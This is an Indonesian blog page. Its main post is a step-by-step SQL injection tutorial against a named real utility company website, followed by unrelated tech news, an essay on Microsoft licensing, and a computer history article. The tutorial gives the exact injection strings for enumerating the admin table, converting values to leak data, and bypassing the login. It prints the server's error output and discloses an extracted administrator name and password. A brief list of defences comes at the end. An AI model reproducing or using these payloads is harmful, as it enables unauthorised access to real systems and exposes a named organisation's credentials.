!NEW! peperonity.com Fan Shop for you !NEW!

ss

Kamis, 25 Maret 2010

SQL Injection

Minggu, 15 November 2009

/*********************************************************
SQL Injection, step by step

Akhir-akhir ini, anda sering mendengar istilah "SQL Injection" ?
Anda tahu betapa berbahaya bug yang satu ini ?
Berikut akan kita sajikan step by step SQL Injection ini.
Catatan : kita akan membatasi bahasan pada SQL Injection
di MS-SQL Server.

Kita akan mengambil contoh di site www.pln-wilkaltim.co.id
Ada dua kelemahan di site ini, yaitu:
1. Tabel News
2. Tabel Admin

Langkah pertama, kita tentukan lubang mana yang bisa di-inject
dengan jalan berjalan-jalan (enumeration) dulu di site tsb.
Kita akan menemukan 2 model cara input parameter, yaitu dengan
cara memasukkan lewat input box dan memasukkannya lewat
alamat URL.

Kita ambil yang termudah dulu, dengan cara input box.
Kemudian kita cari kotak login yang untuk admin.
Ketemu di www.pln-wilkaltim.co.id/sipm/admin/admin.asp
Langkah pertama untuk menentukan nama tabel dan fieldnya,
kita inject kotak NIP dengan perintah (password terserah, cabang
biarkan aja):
' having 1=1--
jangan lupa untuk menuliskan tanda kutip tunggal dan tanda
minus dobel (penting).
Arti kedua tanda tsb bisa anda cari di tutorial SQL Injection
di www.neoteker.or.id ini (lihat arsip sebelumnya).
Kemudian akan keluar pesan error:
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'T_ADMIN.NOMOR' is invalid in the select list because
it is not contained in an aggregate function and
there is no GROUP BY clause.
/sipm/admin/dologin.asp, line 7
--------------------
Keluarlah nama field pertama kita !!!
Catat nama tabel : T_ADMIN
Catat nama field : NOMOR

Kemudian kita akan mencari nama field-field berikutnya,
beserta nama tabel yang mungkin berbeda-beda.
Kita inject di kotak NIP (password terserah):
' group by T_ADMIN.NOMOR having 1=1--
Akan keluar pesan error:
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'T_ADMIN.NIP' is invalid in the select list because
it is not contained in either an aggregate
function or the GROUP BY clause.
/sipm/admin/dologin.asp, line 7
--------------------
Artinya itulah nama tabel dan field kedua kita.
Catat : T_ADMIN.NIP

Kemudian kita cari field ke tiga :
' group by T_ADMIN.NOMOR,T_ADMIN.NIP having 1=1--
Akan keluar pesan error:
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'T_ADMIN.PASSWORD' is invalid in the select list because
it is not contained in either an aggregate
function or the GROUP BY clause.
/sipm/admin/dologin.asp, line 7
--------------------
Catat field ke tiga : T_ADMIN.PASSWORD

Lakukan langkah di atas sampai kita menemukan field terakhir.

Berikut adalah pesan error yang terjadi, jika kita mengecek
field terakhir dengan meng-inject:
' group by T_ADMIN.NOMOR,T_ADMIN.NIP,T_ADMIN.PASSWORD,
T_ADMIN.NAMA,T_ADMIN.KD_RANTING,T_ADMIN.ADDRESS,T_ADMIN.EMAIL
having 1=1--
(catatan : kalimat harus 1 baris, tidak dipotong)
--------------------
- NIP atau Password atau Unit Anda salah !! -
--------------------
Sukses !!! Kita berhasil menemukan field terakhir.
Daftar kolom (field):
T_ADMIN.NOMOR
T_ADMIN.NIP
T_ADMIN.PASSWORD
T_ADMIN.NAMA
T_ADMIN.KD_RANTING
T_ADMIN.ADDRESS
T_ADMIN.EMAIL
Hanya ada satu tabel untuk otentifikasi ini (yaitu T_ADMIN),
ini akan mempermudah proses kita selanjutnya.

Langkah berikutnya, kita menentukan jenis struktur field-
field tersebut di atas.

Kita inject di kotak NIP (pass terserah) :
' union select sum(NOMOR) from T_ADMIN--
Arti dari query tersebut adalah : kita coba menerapkan
klausa sum sebelum menentukan apakah jumlah kolom-kolom
di dua rowsets adalah sejenis.
Bahasa mudahnya adalah kita memasukkan klausa sum (jumlah)
yang berlaku untuk type kolom numerik, jadi untuk type kolom
yang bukan numerik, akan keluar error yang bisa memberitahu
kita jenis kolom yang dimaksud.
Pesan error :
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries
in an SQL statement containing a UNION operator must have
an equal number of expressions in their target lists.
/sipm/admin/dologin.asp, line 7
--------------------
artinya kolom NOMOR berjenis numerik.

Berikutnya kita inject :
' union select sum(NIP) from T_ADMIN--
Akan keluar pesan error :
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum
or average aggregate operation cannot take a char data
type as an argument.
/sipm/admin/dologin.asp, line 7
--------------------
Artinya kolom NIP bertype char.

Kita harus mengulang perintah di atas untuk kolom yang
berikutnya dengan jalan mengganti nama_kolom di :
' union select sum(nama_kolom) from T_ADMIN--
dengan kolom yang berikutnya.
Kita peroleh 7 type kolom:
T_ADMIN.NOMOR => numeric
T_ADMIN.NIP => char
T_ADMIN.PASSWORD => nvarchar
T_ADMIN.NAMA => char
T_ADMIN.KD_RANTING => char
T_ADMIN.ADDRESS => nvarchar
T_ADMIN.EMAIL => char

Langkah berikutnya, kita akan mencari isi kolom password,
untuk user admin, dengan meng-inject :
' union select min(NAMA),1,1,1,1,1,1 from T_ADMIN where NAMA > 'a'--
artinya kita memilih minimum nama user yang lebih besar dari 'a'
dan mencoba meng-konvert-nya ke tipe integer.
Arti angka 1 sebanyak 6 kali itu adalah bahwa kita hanya memilih
kolom NAMA, dan mengabaikan 6 kolom yang lain.
Akan keluar pesan error :
--------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax
error converting the varchar value 'bill ' to
a column of data type int.
/sipm/admin/dologin.asp, line 7
--------------------
Anda lihat :
varchar value 'bill '
'bill' itu adalah nama user di record yang terakhir dimasukkan,
atau isi kolom NAMA di record yang terakhir dimasukkan.

Selanjutnya kita inject :
' union select min(PASSWORD),1,1,1,1,1,1 from T_ADMIN where
NAMA = 'bill'--
catatan : harus sebaris (tidak dipotong).
Akan keluar error :
---------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax
error converting the nvarchar value 'm@mpusk@u' to a
column of data type int.
/sipm/admin/dologin.asp, line 7
---------------------
Artinya kita berhasil !!!
Kita dapatkan
[+] NAMA = bill
[+] PASSWORD = m@mpusk@u

Silahkan login ke :
www.pln-wilkaltim.co.id/sipm/admin/admin.asp
dengan account di atas, sedang nama cabang, silahkan anda
isi sendiri dengan cara coba-coba

Atau kita pakai jalan pintas saja....

Kita inject-kan :
' union select min(KD_RANTING),1,1,1,1,1,1 from T_ADMIN
where NAMA ='bill'--
catatan : harus satu baris.
Duarrrrrr..........
Glhodhak.............
Langsung masuk ke menu admin.
Ingat : jangan buat kerusakan ! beritahu sang admin !!!

Lubang ke dua adalah pada bagian berita.
Pada dasarnya berita di situ adalah isi dari tabel yang
lain lagi. Jadi tetep bisa kita inject !!!
Bedanya, kita harus memasukkan parameter di alamat URL-nya.
Contoh :
www.pln-wilkaltim.co.id/dari_Media.asp?id=2119&idm=40&idSM=2
ada parameter id dan idSM.
Setelah kita coba inject, ternyata yang berpengaruh adalah
parameter id aja (CMIIW).

Kita inject-kan :
www.pln-wilkaltim.co.id/dari_Media.asp?id=2119' having 1=1--
akan keluar pesan error :
---------------------------
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
'tb_news.NewsId' is invalid in the select list because
it is not contained in an aggregate function and
there is no GROUP BY clause.
/dari_Media.asp, line 58
---------------------------
artinya 'tb_news.NewsId' itulah nama tabel dan kolom kita
yang pertama.

Ulangi langkah-langkah kita di atas sampai didapatkan :
tb_news.NewsId => numeric
tb_news.NewsCatId => numeric
tb_news.EntryDate => datetime
tb_news.Title => nvarchar
tb_news.Content =>
tb_news.FotoLink =>
tb_news.FotoType => bit data
tb_news.review =>
tb_news.sumber => char
tb_news.dateagenda => datetime

Nah, selanjutnya adalah tugas anda sendiri untuk mengembangkan
pengetahuan anda.
Anda bisa men-insert berita yang bisa anda tentukan sendiri
isinya.

Inilah mengapa hole di MS-SQL Server ini demikian berbahaya.

Perkiraan saya, nama-nama partai di situs KPU yang di-hack
oleh Shizoprenic, juga ada di tabel-tabel suatu database,
jadi tetep bisa dimasuki dengan cara SQL Injection ini.


******************************************************
KHUSUS BUAT ADMIN & WEB PROGRAMMER !!!
******************************************************
Cara pencegahan yang umum digunakan :
1. Batasi panjang input box (jika memungkinkan), dengan
cara membatasinya di kode program, jadi si cracker pemula
akan bingung sejenak melihat input box nya gak bisa di
inject dengan perintah yang panjang.
2. Filter input yang dimasukkan oleh user, terutama penggunaan
tanda kutip tunggal (Input Validation).
3. Matikan atau sembunyikan pesan-pesan error yang keluar
dari SQL Server yang berjalan.
4. Matikan fasilitas-fasilitas standar seperti Stored Procedures,
Extended Stored Procedures jika memungkinkan.
5. Ubah "Startup and run SQL Server" menggunakan low privilege user
di SQL Server Security tab.


Yah itulah mungkin yang dapat saya ceritakan.....
Hal itu adalah gambaran, betapa tidak amannya dunia internet...
Kalau mau lebih aman, copot kabel jaringan anda, copot disk
drive anda, copot harddisk anda, jual kompie anda !!!
Just kidding )


Referensi :
[+] sqlinjection, www.BlackAngels.it
[+] anvanced sql injection in sql server applications
(www.ngssoftware.com)
[+] sql injection walktrough (www.securiteam.com)

Saingi Google, Microsoft besut Bing

Rabu, 22 Juli 2009


Gemas dengan dominasi Google dikancah pencarian web , Microsoft telah menyiapkan layanan baru bertajuk bing. Ya, itu saja namanya. Anda bisa menemuinya di www.bing .com.
Tidak tanggung-tanggung, menurut laporan Advertisting Age, microsoft disebut-sebut berebcana mengucurkan dana kampanye mulai dari US$ 80 juta - US$ 100 juta USD untuk mempromosikan Bing. “dana yang kami keluarkan memang besar, bisa dibilang cukup besar. Sampai-sampai saya mesti menelan ludah ketika menyetujuinya.”, ungkap steve ballimer, chief executve perusahaan yang berbasis di redmond. Washinton ini.
Karena Google maupun yahoo! Telah menambahan vitur baru dimesin pencarinya, microsoft jelas lebih kreatif mengelola layanan anyarnya ini. Hasilnya, si bing diberi julukan “decision egine”-menjanjikan membuat aktivitas memesan tiket pesawat atau membeli barang tertentu akan lebih mudah dengan menelurkan hasil pencarian berdasarkan pencarian sebelumnya yang mirip. Fitur lainya juga memungkinkan anda mendapatkan informasi arah kesuatu lokasi cukup dengan mengklik mouse satu kali.
Sekilas, bing terlihat catik dengan wallpaper pemandanan sebagai latar belakang. Tapi peformanya masih perlu diuji dan diprediksi akan sulit mengejar Google yang pada bulan april mencatat meenguasai pencarian internet di AS sebanyak 62%, alias menangani 9,5 miliar dari total pencarian 14,8 miliar pencarian (menurut data comScore). Yahoo! Harus puas dengan mereraih 20,4%, sementara microsoft nangkring di posisi ketiga dengan 8,2%.

1. Waspadai Malaware di Ponsel Symbian 3rd Edition


Anda pengguna ponsel bersistem operasi symbian 3rd edition? Berhati-hatilah, karena beberapa firma sekuriti menemukan adanya ancaman mobile baru yang menarget produk tersebut. Si worm, yang telah mengantongi sertifikat symbian, akan menyebarkan diri dengan menyebarkan link berbahaya via SMS ke semua nomor yang ada di memory ponsel yang terjangkiti.
Menurut tim antivirus Research & Response F-secure, ancaman yang di identifikasikan sebagai trojan:SymbOS/Yxe.A ini termasuk baru untuk platform S60 3rd Edition. “ini sesuatu yang jarang kami lihat. Ada spy tool dan ancaman privasi lainya yang di tunjukan pada ponsel S60 3rd Edition, tapi untuk malware biasanya sebagian besar menyasar hadset S60 2nd Edition.” Tutur mereka.
F-secure mengkarakterisasi si mobile malware sebagai trojan karena kemapuanya dalam mencuri data dan teknik sosial yang di ciptakan oleh penciptanya. Dan aplikasi jahat ini telah di lengkapi dengan sertifikat yang di amini oleh symbian untuk menghindari kecurigaan dari pengguna.
Jika anda terkecoh dan menginstalasi link yang dikirimkan melalui sms tersebut, yang berarti mengunduh si malware, program akan mengumpulkan informasi identifikasi ponsel anda seperti type, nomor IMEI dan IMSI, kemudian memasukanya kesuatu remote server. Katanya sih aplikasi ini aslinya di buat di china.
Si malware akan berusaha menyembunyikan jejakya, degan berjalan dengan nama proses “EconServer.exe”. Jika ada Symbian Application Manager di ponsel anda, si worm dapat dengan mudah di uninstal sepertihalnya siftware biasa. Tapi jangan senang dulu, karena ia akan berusaha menghentikan proses AppMngr serta aplikasi lainya yang ingin mengidentifikasikanya seperti ActiveFile, TaskMan,TaskSpy, atau Y-Tasks.

EVOLUSI


Hayo siapa yang tak tahu teori mbah Darwin tentang evolusi? Uh... Keterlaluan. 
Bukan makhluk hidup saja yang berevolusi. Komputer pun berevolusi. Pada tahun 1944, IBM dan Harvard membuat Harvard Mark I. Komputer itu beratnya 5 ton, tingginya 8 kaki, dan panjangnya 51 kaki. Listriknya diperoleh dari motor elektrik berkekuatan 5 tenaga kuda. Bandingkan dengan kebanyakan komputer saat ini. Lebih kecil, lebih cantik, tapi bisa bekerja lebih hebat.
Kebanyakan case komputer saat ini berukuran 20 x 60 x 40 cm, plus monitor, keyboard, mouse dan aksesori lain. Belakangan ini munculah seolah-olah hanya momitor saja. Tipis pula. Komputer seperti itu biasa di sebut dengan komputer “all-in-one” (AIO). Meski nampaknya hanya monitor saja, tapi bisa berfungsi sebagaimana komputer.
Karena tampaknya komputer “all-in-one” ini bakal menjadi tren lihatlah betapa banyak merek komputer yang sudah mengeluarkan komputer genere ini. Yuk lirik info perkembangan komputer di www.softpedia.com

Babak Ketiga Sejarah Microsoft Di Indonesia



Saya beri judul diatas karena saat ini kita sedang berada di babak ketiga dari sejarah Microsoft di Indonesia. Babak pertama adalah ketika Microsoft membiarkan semua software-nya dibajak, lalu babak kedua adalah ketika Microsoft melalui BSA mulai menggebrak pasar dengan UU HaKI, dan babak ketiga yaitu pada saat thrid party mulai berpesta dengan ketentuan yang sudah ada.
 Babak pertama sudah tidak perlu dibahas lagi, karena sampai sekarang dengan kekuatan yang sangat besar dan sebagian ada yang kucing-kucingan, banyak toko yang menjual piranty Microsoft secara bebas di mal-mal bahkan dipinggir jalan.
 Dibabak kedua, Microsoft menggebrak Indonesia dengan menyambangi pengusaha di kota-kota besar, setelah sebelumnya mengirim “surat peringatan” yang isi sebetulnya adalah surat ancaman. Ancaman ratusan juta yang akhirnya berakhir dengan damai. Yang beruntung dalam kasus ini, sudah tentu bukan BSA maupun pengusahanya.
 Pada babak kentiga third party ate orange yang bergerak mewakili Microsoft adalah polisi yang sudah dibekali keahlian yang sangat tinggi. Polisi mengerti tentang rincian EULA (END-USER LICENSE AGREEMENT) yang bahkan tidak diketahui oleh para pemakai komputer yang sudah lama malang melintang menggunakan Microsoft Windows.
 EULA di Amerika harus dibaca dengan saksama dan harus di taati. Salah satu klausulnya adalah persyaratan dari Microsoft untuk tidak boleh menyewakan program—program Microsoft keorang yang bukan pembeli prduknya.
 Yang paling terkena dampak dari EULA ini adalah warnet yang hidupnya kembang kempis karena persaingan yang tidak sehat didalamnya, disamping jenis usahanya yang syarat modal dan teknologi tinggi. Memang, babak ketiga dari cerita Microsoft ini sudah dapat dipecahkan, yaitu dengan diberikanya kelonggaran untuk warnet dengan catatan harus mendapatkan surat izin dari Microsoft untuk menyewakan komputer yang berisi program dari Microsoft.
 Sampai ujung manapun, pembajakan piranti lunak merupakan hal yang salah dan merupakan yang tak boleh dibiarkan begitu saja. Tetapi dengan kondisi Indonesia yang serba minim, kita harus mencari solusi terbaik agar purta-putri Indonesia dapat ikut berperan dalam kiprah kemajuan teknologi informasi dunia.
 Tingkat kemajuan bangsa didasarkan pada pendidikanya, dan pendidikan selalu berkaitan dengan teknologi komputer. Komputer berpangkal pada biaya dan daya beli, sehingga dalam suatu populsi masyarakat kota tertentu, hanya 1 sampai 2 persen saja yang mampu memiliki komputer dan dapat ikut dalam perkembangan teknologi. Warnet merupakan solusi “rakyat miskin” menerapkan teknologi informasi dalam sekala yang paling murah, dan dihitung denga rupiah perjam.
 Tidak dapat dipungkiri juga, bahwa bisnis warnet merupakan bisnis para oportunitis juga, yang dengan seenaknya membangun warnet untuk semata-mata mencari keuntungan, tanpa memahami dasar-dasar keberadaan warnet dalam mempercepat permintaan bangsa Indonesia. Dan kelompok ini yang merusak citra warnet bukan saja didalam negri, tetapi sampai keluar negri, misalnya dalam kasus carding ate penyalah gunaan kartu kredit untuk menguntungkan diri sendiri.
 Dari semua kejadian ini, dapat di ambil kesimpulan bahwa, pendidikan merupakan kunci penyelesaian dari masalah diatas. Kalau mereka mempunyai pendidikan yang lumayan, mereka tidak akan mencari keutungan seenaknya dengan cara yang tidak halal. Mereka bisa mencari penyelesaian dari program-porogram yang berbayar, misalnya menggunakan program yang open source sehingga tidak teruber-uber dari BSA dan kepolisian.
 Kalao bicara pendidikan, sepertinya kita harus menunggu satu generasi untuk membuat perubahan dan sementara semua sudah berjalan dengan tidak seperti yang diharapkan. Kemandegan masalah ini yang akhirnya sangat membinggunkan dan tidak ada penyelesaianya. Pihak Microsoft selalu bersikeras untuk tidak memberikan perlakuan khusus dalam hal harga pada satu negara, karena khawatir dengan berbagai hal, misalnya penjualan kembali kenegara asalnya, dan protes oleh perusahaan-perusahaan besar yang membelidalam jumlah banyak. 


Sejarah Perkembangan Komputer

Minggu, 19 Juli 2009

Sejarah perkembangan komputer



Manusia telah lama menggunakan alat untuk membantu aktiviti harian mereka contohnya dalam kiraan. Antara contoh alat kiraan terawal ialah dacing, yang membolehkan berat sesuatu benda dibandingkan. Manakala sempoa ataupun dekak-dekak merupakan alat pertama yang digunakan untuk mengira. Sejarah per-komputer-an memiliki arti yang sangat penting bagi kita. Selama dua dekade terakhir telah banyak terjadi sesuatu yang menggemparkan tetapi tidak semeriah sejarah komputer elektronik. Pada masa orang-orang tinggal dan bekerja, penemuan komputer oleh John V. Atanasoff (1942) bisa digolongkan pada salah satu dari peristiwa-peristiwa yang penting dalam sejarah. Namun, semua tidak terjadi begitu saja. Ada beberapa penemuan & peristiwa pada masa sebelumnya yang mendasari itu semua.

Sejarah Purbakala Sejarah komputer elektronik modern memang dianggap mulai pada tahun 1942, tetapi penemuan-penemuan sebelumnyalah yang lebih berperan dalam penemuan-penemuan komputer elektronik berikutnya.

Abacus Abacus mungkin alat hitung manual pertama di dunia. Abacus (mungkin) telah ditemukan setidaknya 5000 tahun yang lalu. Kemampuannya telah terbukti sejak digunakannya sebagai alat penghitung di sekolah dan per-bisnisan modern. Sekarang abacus lebih di kenal sebagai cipoa. Sebenarnya, abacus berasal dari Mesir, tetapi oleh orang Cina dibawa ke negerinya sehingga berubah namanya menjadi cipoa.

Pascaline Blaise Pascal (1623-1662), seorang ahli filosofi dan matematika, menemukan alat penghitung mekanik pertama yang berupa mesin. Alat tersebut disebut Pascaline dan menggunakan ‘roda penghitung’ untuk menjumlahkan bilangan. Walaupun atas penemuannya ini Pascal dipuji sampai keseluruh Eropa, tetapi Pasaline merupakan alat yang sukar untuk diperbaiki jika rusak. Hanya Pascal saja yang bisa memperbaiki alat tersebut, sehingga para pengusaha menganggap alat tersebut terlalu kompleks. Selain itu pada masa tersebut tenaga kerja bidang perhitungan aritmatik sangat murah dibanding dengan tenaga kerja bidang mesin.

Bagaimanapun desain ‘roda penghitung’ masih digunakan oleh seluruh alat hitung setidaknya sampai pertengahan tahun 1960. Kemudian alat penghitung mekanik telah dianggap usang sejak ditemukannya alat penghitung elektronik.

Babbage’s Folly Mungkin Charles Babbage (1792-1871) yang telah mempercepat perkembangan komputer sejak 1600-an. Ia memajukan perkomputeran di bidang hardware dengan menemukan sebuah difference engine yang memungkinkan perhitungan tabel matematika. Pada tahun 1834, ketika bermaksud mengembangkan difference engine-nya, Babbage menemukan ide mengenai analytical engine. Orang-orang yang skeptik menyebut penemuannya dengan nama Babbage’s Folly (kebodohan Babbage). Babbage bekerja dengan mesin penganalisanya hingga meninggal.

Pemikiran-pemikiran Babbage yang terperinci (hasil penelitiannya) menggambarkan karakteristik dari komputer elektronik modern. Semenjak Babbage dilahirkan pada era teknologi elektronik, mesin berhitung elektronik mungkin telah ditemukan jauh sebelumnya. Ironisnya, para pelopor sebelumnya dalam pengembangan mesin berhitung elektronis tidak sadar akan idenya mengenai memori, printer, punched-card dan serangkaian program pengontrol.

Peralatan Punched-card Punched-card Pertama Alat tenun Jacquard ditemukan tahun 1801 dan masih digunakan sekarang, alat ini dikendalikan dengan punched-card (punched-card). Punched-card ditemukan oleh orang Perancis yang bernama Joseph-Marie Jacquard (1752-1834). Lubang merupakan inti dari punched-card dan kartu-kartu tersebut menunjukkan desain untuk tenunan.

Babbage ingin menerapkan konsep punched-card dari alat tenun Jacquard untuk analytical engine-nya. Pada tahun 1843, Lady Ada Augusta Lovelace menilai punched-card tersebut bisa dirancang untuk menginstruksikan mesin analisis milik Babbage untuk mengulang operasi-operasi tertentu. Atas penilaiannya, beberapa orang menganggap Lady Lovelace sebagai programmer pertama (walaupun masih diperdebatkan).

Munculnya Pemrosesan Data Otomatis The U.S. Bureau of Cencus tidak menyelesaikan sensus sejak tahun 1880 sampai hampir 1888. Pimpinan Bureau segera menghentikannya sebelum berlangsung selama 10 tahun. Komisi The U.S. Bureau, Herman Hollerith seorang ahli statistik menggunakan keahliannya dalam menggunakan punched-card untuk sensus pada tahun 1890. Dengan pemrosesan punched-card dan mesin Hollerith (Hollerith’s punched-card machine), sensus bisa selesai dalam waktu 2,5 tahun. Inilah dimulainya pemrosesan data secara otomatis. Jerih payah Dr. Hollerith membuktikan sekali lagi bahwa “kebutuhan merupakan ibunya penemuan”.

Hollerith mendirikan Tabulating Machine Company dan menjual produknya ke seluruh dunia. Permintaan mesin Hollerith menyebar sampai ke Rusia. Sensus pertama di Rusia (1897) menggunakan mesin Hollerith. Pada tahun 1911, Tabulating Hollerith Company merger dengan beberapa perusahaan lain dan berganti nama menjadi Computing-Tabulating-Recording Company.

Electromechanical Accounting Machine Hasil (output) dari mesin Hollerith masih harus ditulis tangan, sampai pada tahun 1919 Computing-Tabulating-Recording Company mengumumkan telah menciptakan printer/lister yang lama kelamaan merubah jalan hidup perusahaan tersebut. Untuk mengembangkan jangkauannya, pada tahun 1924 perusahaan tersebut merubah namanya menjadi International Business Machine Corporation (IBM).

Sampai pertengahan tahun 1950, teknologi punched-card diperbaiki dengan penambahan beberapa alatnya serta kemampuan yang lebih pintar. Pada setiap kartu biasanya mengandung sebuah record (misal nama dan alamat), pada pemrosesan punched-card juga ada yang disebut sebagai unit record processing (satu kartu = satu record). Walaupun pemrograman interaktif dan on-line data entry telah membuat punched-card secara ekonomis usang, kita masih bisa menemukannya di tempat terpencil (mungkin tidak di Indonesia).

Keluarga dari mesin punched-card Electromechanical Accounting Machine (EAM) tersedia dengan card punch, verifier, reproducer, summary punch, interpreter, sorter, collator, calculator, dan mesin akunting. Kebanyakan dari alat-alat tersebut di program untuk melakukan operasi khusus dengan menyisipkan papan kontrol yang prewired. Sebuah panel yang berbeda terhubung (wired) untuk tiap jenis operasi untuk bekerja.

Pemrosesan Punched-card Ruangan mesin yang menggunakan punched-card telah membuka lowongan kerja. Beberapa ruangan tersebut mirip sebuah pabrik. Punched-card dan hasil cetakan dari printer dipindahkan dari alat lain ke yang lainnya dengan menggunakan gerobak tangan. Tingkat kebisingannya tidak jauh berbeda dengan sebuah pabrik mobil.

Untuk mempersiapkan arsip-arsip punched-card yang akan diproses, kartu-kartu tersebut harus sudah tersortir dan tersusun. Karena setiap alat-alat punched-card beroperasi secara bebas, beberapa langkahnya disebut “langkah-langkah mesin” yang dibutuhkan untuk menghasilkan keluaran. Dalam sekali langkah, tiap arsip membaca satu kartu dalam satu waktu. Pada kebanyakan sistem informasi modern, hanya bagian dari database yang dibutuhkan saja yang diproses, biasanya dalam satu langkah